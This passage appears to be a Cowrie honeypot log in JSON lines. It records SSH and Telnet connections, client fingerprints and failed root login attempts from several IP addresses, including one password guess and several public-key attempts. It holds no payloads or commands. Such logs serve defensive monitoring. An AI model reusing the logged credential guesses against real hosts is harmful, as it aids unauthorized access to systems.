cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:28.000544Z","src_ip":"103.122.221.179","session":"26c718756643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coolcool","message":"login attempt [root/coolcool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:28.784679Z","src_ip":"103.122.221.179","session":"26c718756643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:28.834948Z","src_ip":"103.172.78.219","session":"99ef82204eb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:30.049273Z","src_ip":"103.122.221.179","session":"26c718756643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":44532,"dst_ip":"10.17.0.5","dst_port":22,"session":"e09a9dc95797","protocol":"ssh","message":"New connection: 148.153.245.161:44532 (10.17.0.5:22) [session: e09a9dc95797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.336543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.341588Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.384506Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:79:e2:de:26:1b:e5:72:e0:39:20:03:4b:e6:37:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFbNturnpvMqbSMvTnTEby3bmbDY+qd8R1Q6qpcedUIrjXX/J2vDQXIqUixymDuOLK9+tnFGWLjRSWSXP2YBRPTYESTRi0l6bhjAkfXrfEsP94wefBVoSTApRE/miBKmt0yPPGgWRnDmJm99+Kq5tD4sQNN/N3R1v0RST+S8MKwoHRaZK8S/zhG3vXYLbvS8dVXhWEbV/E69C4BFdijXyipNgXTggrGN42c8/V/1rfTtVAzMSEhydWi7T3bfkEek9xkELt6iLm9MzO60MMieze6XhH/9J0jxfTYnq+3S23rqp13wFueUb0pZ2I8EAA7hGvyWUg+eakOgNuRfuf1NUCx3OCkKI6J9MeEh+9S8tysIwATIMqEaPqj5YdObhlSNrerf9vDMZwL6zOg3nbEgA9Z7kmjDA0JfruTydynvmT+pT6fZXtrUkyYTjzh5kPWucl4vwTC3sdwdRbMx47s7zjaaG3pG461Sr4kqOGypFkxu0SvfjnXGwK4jSY9Om3xKM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:79:e2:de:26:1b:e5:72:e0:39:20:03:4b:e6:37:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.576355Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:79:e2:de:26:1b:e5:72:e0:39:20:03:4b:e6:37:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFbNturnpvMqbSMvTnTEby3bmbDY+qd8R1Q6qpcedUIrjXX/J2vDQXIqUixymDuOLK9+tnFGWLjRSWSXP2YBRPTYESTRi0l6bhjAkfXrfEsP94wefBVoSTApRE/miBKmt0yPPGgWRnDmJm99+Kq5tD4sQNN/N3R1v0RST+S8MKwoHRaZK8S/zhG3vXYLbvS8dVXhWEbV/E69C4BFdijXyipNgXTggrGN42c8/V/1rfTtVAzMSEhydWi7T3bfkEek9xkELt6iLm9MzO60MMieze6XhH/9J0jxfTYnq+3S23rqp13wFueUb0pZ2I8EAA7hGvyWUg+eakOgNuRfuf1NUCx3OCkKI6J9MeEh+9S8tysIwATIMqEaPqj5YdObhlSNrerf9vDMZwL6zOg3nbEgA9Z7kmjDA0JfruTydynvmT+pT6fZXtrUkyYTjzh5kPWucl4vwTC3sdwdRbMx47s7zjaaG3pG461Sr4kqOGypFkxu0SvfjnXGwK4jSY9Om3xKM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.583065Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:0a:17:15:62:c2:5e:80:1a:a6:c7:cd:0b:a9:a4:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmPLEvLCj2+OE6gFXLRSwmmXdZmvlpro1UC8LtQBmkQOEfkvWBJJVrFcnjftY42oo9NzR5ZeS0OdANAiuStUNBV3cRo0EBsfsPMi+jGcOcMYS145T4I0E0BUn1wJXPBeOjszpy7oWYwOQtNMHnSoJ4U0j0uccssD8jyod62Ig1b3WS5XUr79VuhSZwzfZ4HLcIn5YPlBBOdcSGC2eYmt1ualuWG6shiU7HElkREanKVbYc6C60uzTDjDGPA8ICYPjH5afOiYBrLO1bdJN9Q0G+9zyJ2xJeQPfqvmQZn0PBpsImXpfu3hJJMyirfC/YvFprRSj+Fzf8o9T1mJE7/r6Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:0a:17:15:62:c2:5e:80:1a:a6:c7:cd:0b:a9:a4:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.627173Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:0a:17:15:62:c2:5e:80:1a:a6:c7:cd:0b:a9:a4:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmPLEvLCj2+OE6gFXLRSwmmXdZmvlpro1UC8LtQBmkQOEfkvWBJJVrFcnjftY42oo9NzR5ZeS0OdANAiuStUNBV3cRo0EBsfsPMi+jGcOcMYS145T4I0E0BUn1wJXPBeOjszpy7oWYwOQtNMHnSoJ4U0j0uccssD8jyod62Ig1b3WS5XUr79VuhSZwzfZ4HLcIn5YPlBBOdcSGC2eYmt1ualuWG6shiU7HElkREanKVbYc6C60uzTDjDGPA8ICYPjH5afOiYBrLO1bdJN9Q0G+9zyJ2xJeQPfqvmQZn0PBpsImXpfu3hJJMyirfC/YvFprRSj+Fzf8o9T1mJE7/r6Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.630964Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:ea:05:32:cc:16:68:82:32:d3:e9:03:4d:7a:e8:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEA2YyqqXgQuvqCsuC1kpEp1atRrTR712pG7gprFn/haxA9La0NMIuktcfBowr9RTVjDkuGaOva0DJ5Tl6k51Os40PThZm4TgoD0QAmdwvvciooioP5pe2CWYdeYNYpn7y8XbUXyeXTI3Vf8R+lA24sqssWrP5SIQRfjYLPZAll2cM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:ea:05:32:cc:16:68:82:32:d3:e9:03:4d:7a:e8:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.675392Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:ea:05:32:cc:16:68:82:32:d3:e9:03:4d:7a:e8:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEA2YyqqXgQuvqCsuC1kpEp1atRrTR712pG7gprFn/haxA9La0NMIuktcfBowr9RTVjDkuGaOva0DJ5Tl6k51Os40PThZm4TgoD0QAmdwvvciooioP5pe2CWYdeYNYpn7y8XbUXyeXTI3Vf8R+lA24sqssWrP5SIQRfjYLPZAll2cM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.679643Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:a6:40:7c:5b:1e:9b:13:72:02:2f:9a:a5:48:48:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxbFJ1+I994htMoxGa7Q3qz2GaYkdVMoBxd7PYPfq5jntXpca/p4u2IN+CjY3NIzs5B2Q94X7C5k1fvMCK2pTuMft38THyDlDfstx3/W4zL3+a7unys4lzx91phgNVL70S/oK7kLxDXt6Hdj4u/sQKw2EuOt+FLCIRraeyC+tEq9D8NNJSfVwDTzkyn3Fet1ntFaKC0EXrIRjf3OSMpg7iK6Vlpbm9nOBhuKqVfxLYdEL5i7kiXtrt+oL4HbT2KcpSZVF4kv/Rxxbd3XDOeOQFcxGNZL/C4xDzqFPy9c1F67MYtWaojYu8dyzD29xeUzsn9t+WRusBNWI/3Fb2bXTMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:a6:40:7c:5b:1e:9b:13:72:02:2f:9a:a5:48:48:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.723294Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:a6:40:7c:5b:1e:9b:13:72:02:2f:9a:a5:48:48:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxbFJ1+I994htMoxGa7Q3qz2GaYkdVMoBxd7PYPfq5jntXpca/p4u2IN+CjY3NIzs5B2Q94X7C5k1fvMCK2pTuMft38THyDlDfstx3/W4zL3+a7unys4lzx91phgNVL70S/oK7kLxDXt6Hdj4u/sQKw2EuOt+FLCIRraeyC+tEq9D8NNJSfVwDTzkyn3Fet1ntFaKC0EXrIRjf3OSMpg7iK6Vlpbm9nOBhuKqVfxLYdEL5i7kiXtrt+oL4HbT2KcpSZVF4kv/Rxxbd3XDOeOQFcxGNZL/C4xDzqFPy9c1F67MYtWaojYu8dyzD29xeUzsn9t+WRusBNWI/3Fb2bXTMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.727708Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:f2:99:e5:a1:dd:6f:3e:3c:76:0c:26:14:82:75:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmLxWDel2zxUw5YWrP1B17myGME92NnmIUQ8l6QRtiVkz7o3sJBTQT/54I8n1zOXEwTYoumZTzcRZanVa98v1+fK3S4JvQ1+9JqNZ0ZdwXQ9PJMU5D5Mv3eXeOksFpe68h60Ga0iNZERq7o6KPAMhCkY/q/sz9DC9DWXNIWgz8kWe5iGeTmwu5gIE/rIMm/fjsbmLovJRWzgxJ/PJdFSG/vzSQByjVIlrhk9f8KI6ocSi2BSHjEk5s/QhJs1rEszFLrGkJVE8tj9HDQkFEgsTQTtAMjy8oDBVQjwKUdwvS4oRxeoaraqNQ8BsVKzbsUFIGu7mFb9VM/F4Gzsvrlgo/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:f2:99:e5:a1:dd:6f:3e:3c:76:0c:26:14:82:75:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.772043Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:f2:99:e5:a1:dd:6f:3e:3c:76:0c:26:14:82:75:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmLxWDel2zxUw5YWrP1B17myGME92NnmIUQ8l6QRtiVkz7o3sJBTQT/54I8n1zOXEwTYoumZTzcRZanVa98v1+fK3S4JvQ1+9JqNZ0ZdwXQ9PJMU5D5Mv3eXeOksFpe68h60Ga0iNZERq7o6KPAMhCkY/q/sz9DC9DWXNIWgz8kWe5iGeTmwu5gIE/rIMm/fjsbmLovJRWzgxJ/PJdFSG/vzSQByjVIlrhk9f8KI6ocSi2BSHjEk5s/QhJs1rEszFLrGkJVE8tj9HDQkFEgsTQTtAMjy8oDBVQjwKUdwvS4oRxeoaraqNQ8BsVKzbsUFIGu7mFb9VM/F4Gzsvrlgo/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.778184Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:08.821808Z","src_ip":"148.153.245.161","session":"e09a9dc95797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02303409576416,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:30.741639Z","src_ip":"178.215.165.180","session":"38029baeadfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.215.165.180","src_port":17938,"dst_ip":"10.17.0.5","dst_port":23,"session":"f53b9c6e44dd","protocol":"telnet","message":"New connection: 178.215.165.180:17938 (10.17.0.5:23) [session: f53b9c6e44dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:52:31.480740Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.215.165.180","src_port":53619,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7c3b241bcc8","protocol":"telnet","message":"New connection: 178.215.165.180:53619 (10.17.0.5:23) [session: d7c3b241bcc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:09.732692Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.88.211.210","src_port":48210,"dst_ip":"10.17.0.5","dst_port":22,"session":"682b9d439e75","protocol":"ssh","message":"New connection: 195.88.211.210:48210 (10.17.0.5:22) [session: 682b9d439e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:48.408278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:48.413120Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:48.669070Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:44:45:05:ad:f1:0a:3e:09:fd:c3:ef:c7:fa:ee:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAIdkQwu87vhLogJFs2DANSJEQJekZ2gIr720rFT0+IbXJoo3w57x0nhMtinONoL1YFbYEJGyMyB91Jnlj/XjaisKmKc2BemI3bKqU6WRndQziibt2z2V0CmOAlaZvKn3tbnCpTZF73qh8guYlx0aFRSxn4mbGfQmJRJ7IBka9aGryiWifjTsjqx3OK6BYTq8DMM7FKBsWyY88VleApaWR5BQydCyo2zrpig+3iK+9wwAmdzU/X7+NSBD2nAYfJqUYzIMzRnKS89sCzfjl3959Nb8BkkXssvhJTlZJccOhVDvgBolqSxsoVOMZNSBfyvR9nOyniU2OfQT8+rsgS6fW1fc9MjdjSP/DzRox6b4eks4Toll2hvpYGKZmcr6Opwlo9Kbxe6ZShUIvrRn2NRsb/02LlJDdTEpGJ6HMJ6BLGkS/FIOOZM+iC2l71lF3MxmDOj3wC7WQkWcAuQ9tKm6N7a++a77IvrYBejFE2xcW5/w7LDJv6qH0IMAiMMZHZu3HP6ZJe3KzoZslUnUWpQZMF5GbTWzzvadu78H1AoY5D0LNDU5Q/OBmSQVpYZ5/AsqFoz/L6uCytA+fytI9iXSyy1DZu0ovn4VgnaZAf3BAtnN3tffUPo7x7p1hUN1DV7bLK/qm47M+SS9j8Ne4iYcWJJwD6qWsFX9JN4dqDfoiZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:44:45:05:ad:f1:0a:3e:09:fd:c3:ef:c7:fa:ee:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:49.910662Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:44:45:05:ad:f1:0a:3e:09:fd:c3:ef:c7:fa:ee:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAIdkQwu87vhLogJFs2DANSJEQJekZ2gIr720rFT0+IbXJoo3w57x0nhMtinONoL1YFbYEJGyMyB91Jnlj/XjaisKmKc2BemI3bKqU6WRndQziibt2z2V0CmOAlaZvKn3tbnCpTZF73qh8guYlx0aFRSxn4mbGfQmJRJ7IBka9aGryiWifjTsjqx3OK6BYTq8DMM7FKBsWyY88VleApaWR5BQydCyo2zrpig+3iK+9wwAmdzU/X7+NSBD2nAYfJqUYzIMzRnKS89sCzfjl3959Nb8BkkXssvhJTlZJccOhVDvgBolqSxsoVOMZNSBfyvR9nOyniU2OfQT8+rsgS6fW1fc9MjdjSP/DzRox6b4eks4Toll2hvpYGKZmcr6Opwlo9Kbxe6ZShUIvrRn2NRsb/02LlJDdTEpGJ6HMJ6BLGkS/FIOOZM+iC2l71lF3MxmDOj3wC7WQkWcAuQ9tKm6N7a++a77IvrYBejFE2xcW5/w7LDJv6qH0IMAiMMZHZu3HP6ZJe3KzoZslUnUWpQZMF5GbTWzzvadu78H1AoY5D0LNDU5Q/OBmSQVpYZ5/AsqFoz/L6uCytA+fytI9iXSyy1DZu0ovn4VgnaZAf3BAtnN3tffUPo7x7p1hUN1DV7bLK/qm47M+SS9j8Ne4iYcWJJwD6qWsFX9JN4dqDfoiZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:49.914617Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:d2:8e:86:bc:67:50:37:21:d4:0b:c4:9f:ee:6b:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRNAYo6jiwCxjOzTfQAPE1bWAUbr1ot3Oq0RVJXMjzBBq486Pvu6d0AGkuE0il5cq2tGfeb4tGFasni7baKgI8l+poIjc0rKkP/2B6UZuPZ4k/2IjQPF1id+IAoKruliiZM3AQWWwbklXyPz6w2yEddZ4S/EFhMkjnMS3ktfOnjNzmFMT9LqWm8SuLbF+f4YVuut30zL6b+kvZvwMjcIWe1ZUS4mXJe5E/aCq3anA5sUo4ErpXYkFF0TFgk5K3MucaHIlRc1F9MdsyX9mRLT2hX7sNX2kgpklUI+KrmqSoLWZbFnIFrRCdpQX+UO78QXa3ckGgV2Kl/5ObWiP6tFa6DmctX13D/icyRdl3+hlrZgo+fLMarHnVoy5UdOG1MlG1sH8R2mOe5pGyo6bBqDJZCAJVb26/UHplf9T8drrsav7swC7P+vtCwjbLS/gV6COesu69Dm0JGnJIstOFR6Y01ZIPgxUMxjU6Ukvqj45Akg7QUbSrht3xO6durw2K9xM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:d2:8e:86:bc:67:50:37:21:d4:0b:c4:9f:ee:6b:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:50.167532Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:d2:8e:86:bc:67:50:37:21:d4:0b:c4:9f:ee:6b:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRNAYo6jiwCxjOzTfQAPE1bWAUbr1ot3Oq0RVJXMjzBBq486Pvu6d0AGkuE0il5cq2tGfeb4tGFasni7baKgI8l+poIjc0rKkP/2B6UZuPZ4k/2IjQPF1id+IAoKruliiZM3AQWWwbklXyPz6w2yEddZ4S/EFhMkjnMS3ktfOnjNzmFMT9LqWm8SuLbF+f4YVuut30zL6b+kvZvwMjcIWe1ZUS4mXJe5E/aCq3anA5sUo4ErpXYkFF0TFgk5K3MucaHIlRc1F9MdsyX9mRLT2hX7sNX2kgpklUI+KrmqSoLWZbFnIFrRCdpQX+UO78QXa3ckGgV2Kl/5ObWiP6tFa6DmctX13D/icyRdl3+hlrZgo+fLMarHnVoy5UdOG1MlG1sH8R2mOe5pGyo6bBqDJZCAJVb26/UHplf9T8drrsav7swC7P+vtCwjbLS/gV6COesu69Dm0JGnJIstOFR6Y01ZIPgxUMxjU6Ukvqj45Akg7QUbSrht3xO6durw2K9xM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:53:50.172124Z","src_ip":"195.88.211.210","session":"682b9d439e75","protocol":"ssh"}
